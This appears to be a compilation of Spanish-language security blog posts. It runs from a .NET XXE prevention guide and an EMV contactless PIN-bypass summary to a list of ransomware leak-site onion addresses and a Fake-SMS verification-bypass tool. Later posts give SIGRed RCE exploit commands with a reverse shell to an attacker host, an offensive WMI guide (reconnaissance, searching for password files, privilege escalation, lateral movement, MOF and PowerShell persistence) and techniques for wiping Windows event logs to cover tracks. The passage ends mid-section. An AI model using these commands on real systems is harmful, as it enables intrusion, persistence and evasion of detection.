La siguiente info proviene directamente de este enlace: https://github.com/deanf1/dotnet-security-unit-tests. Esta aplicación web cubre todos los analizadores XML de .NET actuales que son compatibles y tiene casos de prueba para cada método, lo que demuestra cuándo una implementación está a salvo de la inyección XXE y cuándo es vulnerable.

Esta tabla enumera todos los analizadores XML de .NET compatibles, así como sus niveles de seguridad predeterminados:

LINQ a XML

Los objetos XElement y XDocument que se encuentran en la biblioteca System.Xml.Linq están a salvo de la inyección XXE de forma predeterminada. Esto se debe a que XElement analiza solo los elementos dentro del archivo XML, por lo que las DTD se ignoran por completo. XDocument tiene DTD deshabilitadas de forma predeterminada, y solo se considera inseguro si se ha construido con un parser XML diferente o inseguro.

XmlDictionaryReader

System.Xml.XmlDictionaryReader también es seguro de forma predeterminada y, cuando intenta analizar la DTD, el compilador generará una excepción que indica que "los elementos CData no son válidos en el nivel superior de un documento XML". Solo se vuelve inseguro si se construye con un parser XML diferente o inseguro.

XmlDocument

Las versiones de .NET Framework anteriores a la 4.5.2 contienen versiones de System.Xml.XmlDocument que no son seguras de forma predeterminada. El objeto XmlDocument tiene un objeto XmlResolver dentro de él que debe establecerse en nulo en versiones anteriores a la 4.5.2. En las versiones 4.5.2 y posteriores, este XmlResolver se ha establecido en nulo de forma predeterminada. El siguiente ejemplo muestra cómo se hace seguro:

(XmlDocument puede volverse inseguro si crea su propio XmlResolver no nulo con configuraciones predeterminadas o inseguras).

XmlNodeReader

Los objetos System.Xml.XmlNodeReader son seguros de forma predeterminada e ignorarán las DTD, incluso si están hechos con un parser inseguro o están empaquetados en otro parser inseguro.

XmlReader

Los objetos System.Xml.XmlReader son seguros de forma predeterminada y están configurados para tener su propiedad ProhibitDtd establecida en false en .NET Framework versiones 4.0 y anteriores. Su propiedad DtdProcessing también está establecida en Prohibir en las versiones 4.0 y posteriores de .NET de forma predeterminada. Las versiones de .NET 4.5.2 y posteriores tienen XmlReaderSettings que pertenecen a XmlReader, lo que significa que XmlResolver está configurado como nulo de forma predeterminada, lo que brinda una capa adicional de seguridad.

Esto significa que los objetos XmlReader solo se volverán inseguros en la versión 4.5.2 y posteriores si tanto la propiedad DtdProcessing está configurada como "Parse" y el XmlResolver de XmlReaderSetting está configurado como un XmlResolver no nulo, con configuraciones predeterminadas / inseguras. Si necesita habilitar el procesamiento DTD, aquí se describen las instrucciones sobre cómo hacerlo de forma segura.

XmlTextReader

System.Xml.XmlTextReader es otro elemento que no es seguro de forma predeterminada en las versiones de .NET Framework anteriores a la 4.5.2.

Antes de .NET 4.0

En las versiones de .NET Framework anteriores a 4.0, el comportamiento de análisis de DTD para objetos XmlReader como XmlTextReader está controlado por la propiedad Boolean ProhibitDtd que se encuentra en las clases System.Xml.XmlReaderSettings y System.Xml.XmlTextReader. Hay que establecer estos valores a verdadero para deshabilitar completamente las DTD online.

.NET 4.0 - .NET 4.5.2

En .NET Framework versión 4.0, se cambió el comportamiento de análisis de DTD. La propiedad ProhibitDtd quedó obsoleta para la nueva propiedad DtdProcessing. Pero esto no necesariamente ha resuelto la inseguridad predeterminada porque no cambiaron la configuración predeterminada, lo que significa que XmlTextReader sigue siendo vulnerable a XXE al instalarlo. Si establece DtdProcessing en Prohibir, hará que el tiempo de ejecución genere una excepción si un elemento <!DOCTYPE> está presente en el XML. Para establecer este valor manualmente, debe utilizar lo siguiente:

Otra opción que se puede utilizar es establecer la propiedad DtdProcessing en Ignore, que no generará una excepción al encontrar un elemento <! DOCTYPE>. En cambio, simplemente lo omitirá y no lo procesará. Además, los desarrolladores también pueden configurar DtdProcessing en "Parse" si quieren permitir y procesar DTD en línea.

.NET 4.5.2 y posterior

En las versiones de .NET Framework 4.5.2 y posteriores, el XmlResolver interno de XmlTextReader se establece en nulo de forma predeterminada, lo que hace que XmlTextReader ignore los DTD de forma predeterminada. XmlTextReader puede volverse inseguro si crea su propio XmlResolver no nulo con una configuración predeterminada o insegura.

XPathNavigator

System.Xml.XPath.XPathNavigator no es seguro de forma predeterminada en las versiones de .NET Framework anteriores a la 4.5.2. Esto se debe a que los objetos IXPathNavigable como XmlDocument no son seguros de forma predeterminada en las versiones anteriores a la 4.5.2. Puede hacer que XPathNavigator sea seguro dándole un parser seguro como XmlReader (que es seguro por defecto) en el constructor de XPathDocument. Aquí hay un ejemplo:

XslCompiledTransform

System.Xml.Xsl.XslCompiledTransform (un transformador XML) es seguro de forma predeterminada siempre que el parser que se le ha proporcionado sea seguro.Es seguro de forma predeterminada porque el parser predeterminado de los métodos Transform() es un XmlReader, que también es seguro de forma predeterminada.El código fuente de este método se puede ver aquí.Algunos de los métodos Transform() pueden aceptar un XmlReader o IXPathNavigable (por ejemplo, XmlDocument) como entrada y, si pasa un parser XML inseguro, Transform tampoco será seguro.

Prevención de XXE en PHP

Como se especifica en la documentación de PHP, estos elementos deben establecerse cuando se usa el parser XML PHP predeterminado para evitar instancias de XXE:

libxml_disable_entity_loader(true);

Fuentes:

• https://cheatsheetseries.owasp.org/cheatsheets/XML_External_Entity_Prevention_Cheat_Sheet.html 
• https://blog.shiftleft.io/preventing-xxe-in-java-applications-d557b6092db1 
• https://hdivsecurity.com/owasp-xml-external-entities-xxe 
• https://www.acunetix.com/blog/articles/xml-external-entity-xxe-vulnerabilities/
  
• https://resources.infosecinstitute.com/topic/identify-mitigate-xxe-vulnerabilities/

Un grupo de académicos de la ETH de Zúrich ha publicado una investigación en la que se detalla un ataque bastante novedoso mediante el cual es posible usar una tarjeta contactless Mastercard como si fuera una tarjeta VISA y sin necesidad de conocer ni siquiera el PIN.

"Esto no es sólo una confusión de marcas de tarjetas, sino que tiene consecuencias críticas", dijeron los investigadores David Basin, Ralf Sasse y Jorge Toro. "Por ejemplo, los delincuentes pueden usarlo en combinación con el ataque anterior a Visa para también eludir el PIN de las tarjetas Mastercard. Las tarjetas de esta marca se presumían previamente protegidas por PIN".

Esta técnica se aprovecha de vulnerabilidades en el protocolo EMV (Europay, Mastercard, and Visa). Aunque se detallará en el 30º Simposio de Seguridad de USENIX, muy a alto nivel decir que el ataque se logra utilizando una aplicación de Android que implementa un ataque man-in-the-middle (MitM) sobre una arquitectura de relay, lo que permite que la aplicación no solo inicie mensajes entre los dos extremos: el terminal y el tarjeta, sino también interceptar y manipular las comunicaciones NFC (o Wi-Fi) para introducir maliciosamente una discrepancia entre la marca de la tarjeta y la red de pago. 

Dicho de otra manera, si la tarjeta emitida es de marca Visa o Mastercard, entonces la solicitud de autorización necesaria para facilitar las transacciones EMV se enruta a la red de pago respectiva. El terminal de pago reconoce la marca mediante una combinación de lo que se llama un número de cuenta principal (PAN, también conocido como el número de tarjeta) y un identificador de aplicación (AID) que identifica de forma única el tipo de tarjeta (por ejemplo, Mastercard Maestro o Visa Electron), y posteriormente hace uso de este último para activar un kernel específico para la transacción.

Un Kernel EMV es un conjunto de funciones que proporciona toda la lógica de procesamiento y los datos necesarios para realizar una transacción EMV con o sin contacto.

El ataque llamado "card brand mixup", en español "confusión de marcas de tarjetas", aprovecha el hecho de que estos AID no están autenticados en el terminal de pago, lo que hace posible "engañarla" para que active un kernel defectuoso y, por ende, que el banco que procesa los pagos en nombre del comerciante acepte transacciones contactless con un PAN y un AID que indican diferentes marcas de tarjetas.

"El atacante realiza simultáneamente una transacción Visa con el terminal y una transacción Mastercard con la tarjeta", señalaron los investigadores.

Sin embargo, el ataque requiere que cumpla una serie de requisitos previos para tener éxito: se debe tener acceso a la tarjeta de la víctima, además de poder modificar los comandos del terminal y las respuestas de la tarjeta antes de entregarlos al destinatario correspondiente. Lo que no requiere es la necesidad de tener privilegios de root o explotar fallos en Android para usar la aplicación de prueba de concepto (PoC).

Pero los investigadores señalan que una segunda deficiencia en el protocolo EMV contactless podría permitir que un atacante "construya todas las respuestas necesarias especificadas por el protocolo Visa a partir de las obtenidas de una tarjeta que no sea Visa, incluidas las pruebas criptográficas necesarias para que el emisor de la tarjeta autorice la transacción..." 

Ataques a Mastercard

Este ataque consiste principalmente en el reemplazo de los identificadores de aplicación (AID) legítimos de la tarjeta por Visa AID A0000000031010 para engañar al terminal y activar el kernel de Visa. El atacante realiza simultáneamente una transacción Visa con el terminal y una transacción Mastercard con la tarjeta. En la transacción de Visa, el atacante aplica el mencionado ataque a Visa.

Para que este ataque funcione, la solicitud de autorización del terminal debe llegar al banco emisor de la tarjeta, y para ello se deben cumplir varias condiciones, entre ellas:

• el terminal no se desconecta incluso si el número de tarjeta (PAN) y los AID indican diferentes marcas de tarjetas, y
• El adquirente del comerciante enruta la solicitud de autorización de transacción a una red de pago que puede procesar tarjetas Mastercard.

Usando la aplicación PoC para Android, los investigadores de ETH Zurich pudieron omitir la verificación del PIN para transacciones con tarjetas de crédito y débito Mastercard, incluidas dos tarjetas de débito Maestro y dos tarjetas de crédito Mastercard, todas emitidas por diferentes bancos, consiguiendo transacciones que superaron los 400 CHF.

Ataques a VISA

En esta ocasión el ataque consiste en una modificación de los Card Transaction Qualifiers (CTQ, un objeto de datos de la tarjeta), antes de entregarlo al terminal. La modificación indica al terminal que:

•      No se requiere verificación de PIN, y
•      el titular de la tarjeta se verificó en el dispositivo del consumidor (por ejemplo, un teléfono inteligente).
  

Probaron con éxito este ataque con tarjetas Visa Credit, Visa Debit, Visa Electron y V Pay. A continuación, se muestra una demostración en vídeo de una transacción de 200 CHF.

Contramedidas

En respuesta a esta investigación, Mastercard y VISA han agregado una serie de contramedidas, incluida la obligación de las instituciones financieras de incluir la AID en los datos de autorización, lo que permite a los emisores de tarjetas comparar la AID con el PAN.

Además, la red de pago ha implementado controles para otros puntos de datos presentes en la solicitud de autorización que podrían usarse para identificar un ataque de este tipo, rechazando así una transacción fraudulenta desde el principio.

Fuentes: 

• https://emvrace.github.io/
• https://arxiv.org/pdf/2006.08249.pdf
  
• https://jorgetp.github.io/assets/files/papers/USENIX21.pdf
  
• https://thehackernews.com/2021/02/new-hack-lets-attackers-bypass.html
  

Desde hace tiempo cifrar los archivos de la víctima y pedir un cifra en BTC como rescate dejó de ser la única vía de extorsión. Las bandas de cibercriminales han encontrado nuevas formas mucho más lucrativas y casi todas derivan en la publicación y, a veces venta, de datos exfiltrados en sitios reconocidos de la Deep Web. En este post recopilamos los principales hasta la fecha:

• AKO (RANZY): http://37rckgo66iydpvgpwve7b2el5q2zhjw4tv4lmyewufnpx4lhkekxkoqd.onion
• AVADDON: http://avaddongun7rngel.onion
• BABYK: http://gtmx56k4hutn3ikv.onion
• CLOP: http://ekbgzchl6x2ias37.onion
• DARKSIDE: http://darksidedxcftmqa.onion
• DOPPLE PAYMER: hpoo4dosa3x4ognfxpqcrjwnsigvslm7kv6hvmhh2yqczaxy3j6qnwad.onion
• EGREGOR: http://egregoranrmzapcv.onion
• MOUNT LOCKER: http://mountnewsokhwilx.onion
• NEFILM (Corporate Leaks): http://hxt254aygrsziejn.onion
• PAY2KEY: http://pay2key2zkg7arp3kv3cuugdaqwuesifnbofun4j6yjdw5ry7zw2asid.onion
• RAGNAR : http://p6o7m73ujalhgkiv.onion
• RANZYLEAK / AKO: http://37rckgo66iydpvgpwve7b2el5q2zhjw4tv4lmyewufnpx4lhkekxkoqd.onion/
• RANSOMEXX (DEFRAY777): http://rnsm777cdsjrsdlbs4v5qoeppu3px6sb2igmh53jzrx7ipcrbjz5b2ad.onion
• REVIL: http://dnpscnbaix6nkwvystl3yxglz7nteicqrou3t75tpcc5532cztc46qyd.onion
• SUNCRYPT: http://nbzzb6sa6xuura2z.onion

FUERA DE LÍNEA (20/02/2021)

• CONTI : htcltkjqoitnez5slo7fvhiou5lbno5bwczu7il2hmfpkowwdpj3q2yd.onion
• CONTI-NEWS (RYUK): http://fylszpcqfel7joif.onion
• EVEREST: http://ransomocmou6mnbquqz44ewosbkjk3o5qjsl3orawojexfook2j7esad.onion/
• HADES: http://ixltdyumdlthrtgx.onion
• LOCKBIT: http://lockbit-blog.com
• MAZE : xfr3txoorcyy7tikjgj5dk3rvo3vsrpyaxnclyohkbfp3h277ap4tiad.onion
• MAZE-NEWS: https://mazenews.online
• NETWALKER: http://rnfdsgm6wb6j6su5txkekw4u4y47kp2eatvu7d6xhyn5cs4lt4pdrqqd.onion/blog
• PROLOCK: msaoyrayohnp32tcgwcanhjouetb5k54aekgnwg7dcvtgtecpumrxpqd.onion
• PYSA : http://wqmfzni2nvbbpk25.onion/partners.html
• SEKHMET: http://sekhmetleaks.top
• XINOF - RAAS (Login required): wj3b2wtj7u2bzup75tzhnso56bin6bnvsxcbwbfcuvzpc4vcixbywlid.onion

Fake-SMS es una pequeña herramienta en linea de comandos que nos va a permitir omitir la verificación mediante SMS utilizando un telefono temporal actuando como proxy. Está escrita en Go-1.15 y es una implementación no oficial de upmasked un servicio alemán que provee verificación SMS de forma gratuita. Eso sí, los datos se almacenarán en sus servidores así que no es recomendable usarlo para ninguna transacción personal.

El proceso de instalación es simple, es como construir cualquier otro módulo de Go:

export GOBIN=$PWD/bin
go install

Esto construirá el binario y lo colocará en bin/. También se puede usar el binario pre-builr que está disponible en bin/

Para usarlo los pasos a seguir son:

1. Registrar un número en la base de datos local: Puede registrar un número seleccionando uno de los números disponibles como se muestra a continuación.

2. Obtener los mensajes de cualquier número registrado: se puede seleccionar un número que se guardó en el paso 1 y ver los mensajes como una lista. La herramienta también guardará el volcado como json en el formato ${PWD}/selected-phone-number.json. Como se muestra abajo: 

3. Opcionalmente, se puede optar por eliminar los números registrados o listarlos.

Proyecto: https://github.com/Narasimha1997/fake-sms
Alternativa POSIX sh: https://github.com/Narasimha1997/fake-sms

Cada año, numerosos investigadores comparten sus hallazgos con la comunidad a través de presentaciones en conferencias, publicaciones en blogs, documentos técnicos, videos e incluso sencillas divulgaciones. En 2006 Jeremiah Grossman y Matt Johansen empezaron a evaluar junto con la comunidad infosec cuáles serían las 10 mejores técnicas de hacking web durante el año. En 2011 este proyecto saltó de su blog a la página de Whitehat, luego se detuvo en 2015 y en 2017 y hasta nuestros días lo publica PortSwigger.

Para 2020, durante las últimas semanas la Comunidad nominó 54 artículos, publicaciones y presentaciones innovadoras. De esa lista se votaron hasta obtener 15 técnicas candidatas. Finalmente, un panel de expertos compuesto por Nicolas Grégoire, Soroush Dalili, Filedescriptor y James Kettle votaron para el siguiente top 10 oficial:

1. H2C Smuggling: Request Smuggling Via HTTP/2 Cleartext - Jake Miller
2. Portable Data exFiltration: XSS for PDFs - Gareth Heyes
3. Attacking Secondary Contexts in Web Applications - Sam Curry
4. When TLS Hacks You - Joshua Maddux
5. NAT Slipstreaming - Samy Kamkar
6. Smuggling HTTP headers through reverse proxies - Robin Verton
7. Unauthenticated RCE on MobileIron MDM - Orange Tsai
8. ImageMagick - Shell injection via PDF password - Alex
9. Attacking MS Exchange Web Interfaces - Arseniy Sharoglazov
10. WAF evasion techniques - Paweł Hałdrzyński'

Fuente: https://portswigger.net/research/top-10-web-hacking-techniques-of-2020

Resultados de otros años: 2019, 2018, 2017, 2015, 2014, 2013, 2012, 2011, 2010, 2009, 2008, 2007, 2006.

La gran chompie nos regala un exploit en python que consigue RCE explotando Sigred, ya sabéis, la vulnerabilidad crítica en el servidor DNS de Windows (CVE-2020-1350) de las que ya os hablamos el pasado verano aquí.

Tenemos el repo en: https://github.com/chompie1337/SIGRed_RCE_PoC

Un atacante configuraría un dominio malicioso cuyo registro NS apunta a su servidor. Para la PoC, simplemente configuramos un reenviador condicional en la máquina víctima para reenviar solicitudes de "dominio maligno" a la máquina atacante. 

Luego en la máquina del atacante (probado en una VM Ubuntu 20.04.1) se configura un servidor Apache para que la víctima descargue el HTA de la shell reversa.

sudo python3 configure.py -ip IP_ATTACKER -p PORT_REVERSE_SHELL -hp PORT_APACHE_SERVER (default 80)

sudo python3 evildns.py

python3 exploit.py -ip WINDNS_VICTIM_IP -d EVIL_DOMAIN

python3 reverse_shell/server.py -p PORT_REVERSE_SHELL

reg add "HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\DNS\Parameters" /v "TcpReceivePacketSize" /t REG_DWORD /d 0xFF00 /f
net stop DNS && net start DNS

Detalle técnico/writeup del exploit: https://www.graplsecurity.com/post/anatomy-of-an-exploit-rce-with-cve-2020-1350-sigred

Windows Management Instrumentation (WMI) está compuesto por un poderoso conjunto de herramientas que se utilizan para administrar los sistemas Windows, tanto de forma local como remota, y está presente desde Windows NT 4.0 (NT requería un addon, Windows 2000 ya lo soportaba nativamente). Aunque estaba destinado a los administradores de sistemas, WMI ha ido ganando popularidad para la perspectiva del atacante por su capacidad para realizar movimiento lateral, persistencia, ejecución de código y como comando y control (C2).

WMI es la implementación de Microsoft de los estándares Web-Based Enterprise Management (WBEM) y Common Information Model (CIM) publicados por Distributed Management Task Force (DMTF). 

WMI representa la mayoría de los datos relacionados con la información y las acciones del sistema operativo en forma de objetos. Un objeto es miembro de una clase, una clase es miembro de un espacio de nombres y todos los espacios de nombres derivan del espacio de nombres "Raíz".

El siguiente paper muestra ejemplos de cómo enumerar, buscar y usar espacios de nombres, clases y objetos a través de múltiples herramientas y métodos como PowerShell, WQL (lenguaje de consulta WMI), WMI Code Creator y otros. Las clases de WMI se pueden encontrar en el sitio https://msdn.microsoft.com/en-us/library/aa394554(v=vs.85).aspx

Como he comentado inicialmente, WMI puede usarse en remoto. Actualmente, existen dos protocolos que permiten consultas de objetos remotos, registro de eventos, ejecución de métodos de clase WMI y creación de clases:

• DCOM TCP Port 135
• WinRM TCP Ports 5985 (HTTP ) y 5986 (HTTPS).

Estos protocolos se consideran ventajosos para un atacante porque la mayoría de las organizaciones y proveedores por lo general no inspeccionan el contenido de este tráfico en busca de señales de actividad maliciosa. Todo lo que un atacante necesita para aprovechar WMI remotamente (que no es poco) son credenciales de usuario privilegiadas válidas pero, una vez obtenidas, abre la puerta a todo un mundo para la post-explotación. 

Veamos como se puede aprovechar WMI queridos y malignos lectores ;)

Reconocimiento

WMI es una excelente herramienta para hacer reconocimiento durante un ataque. Dada su naturaleza además es bastante difícil de identificar en algunos escenarios. Para esta primera fase vamos a usar WMIC que básicamente es la interfaz en línea de comandos para acceder al marco de WMI, con la ventaja adicional de que numerosas consultas están predefinidas. Es decir, no tendremos que dedicar tiempo a aprender demasiado el lenguaje de consulta WMI (WQL), que es sintácticamente similar a SQL.

WMIC está incluido en la instalación predeterminada de Windows XP (excluyendo la edición Home) y Windows Server 2003. Aunque WMIC no está incluido en Windows 2000 ni NT 4.0, podemos usar WMIC de forma remota contra estos sistemas obsoletos, aunque mal (o bien según se mire) iría la cosa si estamos auditando sistemas operativos de hace 20 años...
    
La mayoría de los comandos con WMIC siguen el siguiente formato: wmic [credentials] [area] [querystring]

Aunque la lista de comandos es amplísima, a continuación os mostramos algunos comandos bastante recomendables para reconocimiento:

COMPUTERS
- Enumeración de equipos: wmic computersystem LIST full
- Sistema operativo: wmic os LIST Full (* para obtener el nombre del OS, usa la propiedad "caption")
- Número de serie del SO: wmic /node:"HOST" bios get serialnumber
- Product number: wmic /node:"HOST" baseboard get product
- Discos: wmic logicaldisk where drivetype=3 get name, freespace, systemname, filesystem, size, volumeserialnumber
- Periféricos: wmic path Win32_PnPdevice
- Programas al inicio:
    . wmic STARTUP GET Caption, Command, User
    . wmic startup list full
- Antivirus: wmic /namespace:\\root\securitycenter2 path antivirusproduct
- Actualizaciones instaladas: wmic qfe list brief
- Listado de directorios y búsqueda de archivos:
    . wmic DATAFILE where "path='\\Users\\test\\Documents\\'" GET Name,readable,size
    . wmic DATAFILE where "drive='C:' AND Name like '%password%'" GET Name,readable,size /VALUE
- Listar procesos:
    . wmic process list
    . Proceso específico: wmic process list brief find "cmd.exe"
- Listar servicios: wmic service list
- Mostrar variables de entorno: wmic environment list
- Listar todos los equipos (computers):
    . wmic /NAMESPACE:\\root\directory\ldap PATH ds_computer GET ds_samaccountname
    . wmic /NAMESPACE:\\root\directory\ldap PATH ds_computer GET ds_dnshostname

USUARIOS
- Cuentas de usuario locales: wmic USERACCOUNT Get Domain,Name,Sid
- Listar grupos locales: wmic group list brief
- Información de dominio y DC: wmic NTDOMAIN GET DomainControllerAddress,DomainName,Roles /VALUE
- Información de usuarios de dominio: wmic /NAMESPACE:\\root\directory\ldap PATH ds_user where "ds_samaccountname='testAccount'" GET
- Listar todos los usuarios: wmic /NAMESPACE:\\root\directory\ldap PATH ds_user GET ds_samaccountname
- Listar todos los grupos: wmic /NAMESPACE:\\root\directory\ldap PATH ds_group GET ds_samaccountname
- Listar miembros de un grupo:
    . wmic /NAMESPACE:\\root\directory\ldap PATH ds_group where "ds_samaccountname='Domain Admins'" Get ds_member /Value
    . wmic path win32_groupuser where (groupcomponent="win32_group.name="domain admins",domain="YOURDOMAINHERE"")

Escalado de privilegios

WMI es una excelente opción para escalar privilegios dado que nos devuelve información detallada del sistema y, de ahí, la posibilidad de encontrar fallos de configuración que nos faciliten nuestro camino hacia los permisos elevados.

El siguiente comando para encontrar servicios "unquoted" busca el nombre del servicio, la ruta de ejecutable, el nombre del servicio y si se inicia automáticamente, en todos los directorios excepto en C:\ Windows\ (ya que por defecto no existe tal servicio que tenga espacios y no esté entre comillas en esta carpeta). Además, debemos excluir los servicios que están entre comillas dobles.

wmic service get name,pathname,displayname,startmode | findstr /i auto | findstr /i /v "C:\Windows\\" | findstr /i /v """

No voy a entrar en detalle para no extenderme demasiado, pero ya sabéis que si encontramos algún servicio unquoted, este se lanza con permisos elevados y además podemos escribir en alguno de sus subdirectorios podemos poner nuestro binario/payload con una shell reversa y WIN!

Y si hasta ahora sólo habíamos usado comandos con wmic vamos a empezar a introducir Powershell, que incluye cmdlets para CIM/WMI desde su versión 1.0. Por ejemplo con el cmdlet Get-WmiObject podemos encontrar procesos con privilegios elevados que posteriormente pueden ser atacados:

$Owners = @{}
Get-WmiObject -Class win32_process | Where-Object {$_} | ForEach-Object {$Owners[$_.handle] = $_.getowner().user}

Y con el siguiente podemos encontrar todas las rutas a ejecutables .exe de servicios que tienen algún espacio y no están entrecomillados:

$VulnServices = Get-WmiObject -Class win32_process | Where-Object {$_} | Where-Object {($_.pathname -ne $null) -and ($_.pathname.trim() -ne "")} | Where-Object {-not $_.pathname.StartsWith("`"")} | Wherer-Object {-not $_.pathname.StartsWith("'")} |  Where-Object

Por otro lado, uno de los scripts de facto para escalar privilegios en Windows es PowerUp.ps1 de harmj0y que por supuesto también utiliza WMI para un montón de comprobaciones: https://github.com/HarmJ0y/cortana/blob/master/beacon/PowerUp.ps1 

Movimiento lateral

La posibilidad de ejecutar comandos remotamente mediante WMI es una auténtica "navaja suiza" para cualquier atacante, de hecho numerosos artefactos de malware, algunos tan notorios como WannaCry, NotPetya y BadRabbit, utilizan wmic para encontrar unidades remotas y 'process call create' para expandirse a lo largo de la red local:

wmic.exe PROCESS CALL CREATE \"C:\\Windows\System32\\rundll32.exe\\\"C:\Windows\\perfc.dat\\\"

De hecho el framework ATT&CK de MITRE tenemos una técnica específica (T1047) para esta ejecución remota mediante WMI:

wmic /node:10.0.0.6 /user:administrator process call create "cmd.exe /c calc"

Persistencia

Por lo general, la persistencia a través de la suscripción de eventos WMI requiere la creación de las siguientes tres clases que se utilizan para almacenar el payload o el comando que queremos ejecutar, para especificar el evento que activará el payload y para relacionar las dos clases (__EventConsumer y __EventFilter) de modo que la ejecución y el trigger puedan enlazarse juntos.

 __EventFilter // Trigger (nuevo proceso, logon fallido etc.)
 __EventConsumer // Realiza la acción (ejecuta payload etc.)
 __FilterToConsumerBinding // Enlaza las clases Filter y Consumer

A menudo, estos tres pasos son incluidos dentro de un archivo MOF (Managed object format) que contiene declaraciones, clases e instancias de clases que se agregan al repositorio de WMI (OBJECTS.DATA) cuando se compila el archivo (mofcomp.exe es parte de Windows). Un ejemplo de archivo MOF se muestra a continuación:

#PRAGMA NAMESPACE ("\\\\.\\root\\subscription")
instance of CommandLineEventConsumer as $Cons
{
    Name = "Pentestlab";
    RunInteractively=false;
    CommandLineTemplate="cmd.exe";
};
instance of __EventFilter as $Filt
{
    Name = "Pentestlab";
    EventNamespace = "root\\subscription";
    Query ="SELECT * FROM __InstanceCreationEvent Within 3"
"Where TargetInstance Isa \"Win32_Process\""
"And Targetinstance.Name = \"notepad.exe\"";
    QueryLanguage = "WQL";
};
instance of __FilterToConsumerBinding
{ 
     Filter = $Filt;
     Consumer = $Cons;
};

El archivo MOF anterior ejecutará cmd.exe cuando se cree el proceso notepad.exe en el sistema y se puede implementar en el repositorio de WMI ejecutando el siguiente comando: 

mofcomp.exe .\wmi.mof 

Como veis, utilizamos la utilidad de Microsoft "mofcomp.exe" para compilar el archivo MOF. El archivo se almacenará automáticamente en el repositorio de WMI y el payload/comando malicioso se ejecutará automáticamente. 

$FilterArgs = @{name='Pentestlab-WMI';
                EventNameSpace='root\CimV2';
                QueryLanguage="WQL";
                Query="SELECT * FROM __InstanceModificationEvent WITHIN 60 WHERE TargetInstance ISA 'Win32_PerfFormattedData_PerfOS_System' AND TargetInstance.SystemUpTime >= 240 AND TargetInstance.SystemUpTime < 325"};
$Filter=New-CimInstance -Namespace root/subscription -ClassName __EventFilter -Property $FilterArgs

$ConsumerArgs = @{name='Pentestlab-WMI';
                CommandLineTemplate="$($Env:SystemRoot)\System32\pentestlab.exe";}
$Consumer=New-CimInstance -Namespace root/subscription -ClassName CommandLineEventConsumer -Property $ConsumerArgs

$FilterToConsumerArgs = @{
Filter = [Ref] $Filter;
Consumer = [Ref] $Consumer;
}
$FilterToConsumerBinding = New-CimInstance -Namespace root/subscription -ClassName __FilterToConsumerBinding -Property $FilterToConsumerArgs

Como habéis podido observar esta técnica no requiere ningún toolkit, ya que Windows por defecto ya incluye WMIC y también se puede usar PowerShell. Sin embargo, se pueden usar varios frameworks como Metasploit, Empire, PoshC2, PowerSploit y múltiples scripts de PowerShell y herramientas en C# para automatizar esta técnica, proporcionando diferentes triggers y varias opciones para ejecutar código. Cabe recordar que los eventos WMI se ejecutan como un SYSTEM, persisten después de reiniciar y se requieren privilegios de administrador para utilizar esta técnica.

Evil-WinRM

No podíamos despedir este post sin hablaros de una fantástica herramienta que también usa Windows Management Instrumentation (WMI) para darnos una shell interactiva, entre otras malignas características. Se trata de Evil-WinRM de nuestros colegas Cybervaca, OscarAkaElvis y Laox y que podéis encontrar en nuestro repo de Github: https://github.com/Hackplayers/evil-winrm.

Happy WMI hacking!

Fuentes y referencias:

• https://es.slideshare.net/Hackerhurricane/detecting-wmi-exploitation-v11
• https://www.hsdl.org/?view&did=795007
• https://pentestlab.blog/2020/01/21/persistence-wmi-event-subscription/
• https://www.fireeye.kr/content/dam/fireeye-www/global/en/current-threats/pdfs/wp-windows-management-instrumentation.pdf
• https://medium.com/threatpunter/detecting-removing-wmi-persistence-60ccbb7dff96
• https://gist.github.com/xorrior/67ee741af08cb1fc86511047550cdaf4
• https://www.andreafortuna.org/2017/08/09/windows-command-line-cheatsheet-part-2-wmic/
• https://medium.com/@SumitVerma101/windows-privilege-escalation-part-1-unquoted-service-path-c7a011a8d8ae
• https://ambientcryptocom.wordpress.com/2018/10/03/windows-service-privilege-escalation/amp/
• https://sobrebits.com/utilizando-cim-y-wmi-con-powershell/
• https://hakin9.org/privesccheck-privilege-escalation-enumeration-script-for-windows/
• https://docs.microsoft.com/en-us/powershell/module/microsoft.powershell.management/get-wmiobject?view=powershell-5.1
• https://www.harmj0y.net/blog/powershell/powerup-a-usage-guide/
• https://sudonull.com/post/19179-How-is-Petya-spread
• https://www.ired.team/offensive-security/lateral-movement/t1047-wmi-for-lateral-movement
• https://www.slideshare.net/loveyoubabe/wmi-a-front-door-for-backdoors
  

CVE-2020-17530 | Apache Struts RCE

Saltstack RCE | CVE-2020-16846

Apache Unomi RCE | CVE-2020-13942

Ghost Cat | CVE-2020-1938

Oracle WebLogic RCE | CVE-2020-14882

Apache Tomcat RCE | CVE-2020-9484

Moodle RCE | CVE-2020-14321

Cisco CVE-2020-3452 poc

Wordpress database plugin | CVE-2020-7048

CVE-2020-5902 F5 big IP

Playlist: https://youtube.com/playlist?list=PLiVfOzljj-46iFcif16qMaPP84ZxCZ4Mb 

CVE Lab Access : https://www.vulnmachines.com

Una vez llevado a cabo una intrusión y tomado el control de uno o varios hosts siempre es una buena idea borrar nuestras huellas, o eso dicen los cánones del buen malvado, véase técnica T1070. 

En Windows el log de seguridad es solo escribible por el servicio LSASS (Local Security Authority Subsystem Service) y no hay funciones del API de Windows para interactuar con los eventos, es decir, necesitaremos ser administradores locales o de dominio o directamente SYSTEM. Además, en Windows los eventos no pueden borrarse individualmente, tiene que ser todo o nada. Cuando los borremos se generará posteriormente un evento de tipo "log clear", con id 1102 en security o 104 en sistema (en windows XP/203 517)

Hace muchos años la herramienta WinZapper supuestamente era capaz de borrar eventos individualmente a nuestra elección, si bien nunca llegó a funcionar bien... los logs se acababan corrompiendo y/o el servicio event log crasheaba. ¿Qué opciones tenemos entonces para limpiar nuestro particular "lugar del crimen"?

Mimikatz

Mimikatz por ejemplo permite el comando event::clear: y sobretodo event::drop que realmente lo que hace es parchear el servicio del log de eventos y dejar de meter registros en Security. Lo bueno es que no añade el evento 1102 después de hacerlo, lo malo es que no permite volver a reanudar el logging por lo que un azulón forense nos acabará pillando y descubriendo que algo ha pasado en la máquina objetivo.

Invoke-Phant0m

Se trata de un script en PowerShell que se utiliza para eliminar el hilo del proceso svchost responsable del registro de eventos. Esta técnica es buena para detener muchos controles de seguridad, no solo el visor de eventos. Lo que "mola" es que el servicio parece seguir funcionando cuando realmente ya no está registrando ningún evento.

Terminar el proceso de Event Log

El proceso responsable para loggear eventos es:

svchost -k LocalServiceNetworkRestricted -p -s eventlog

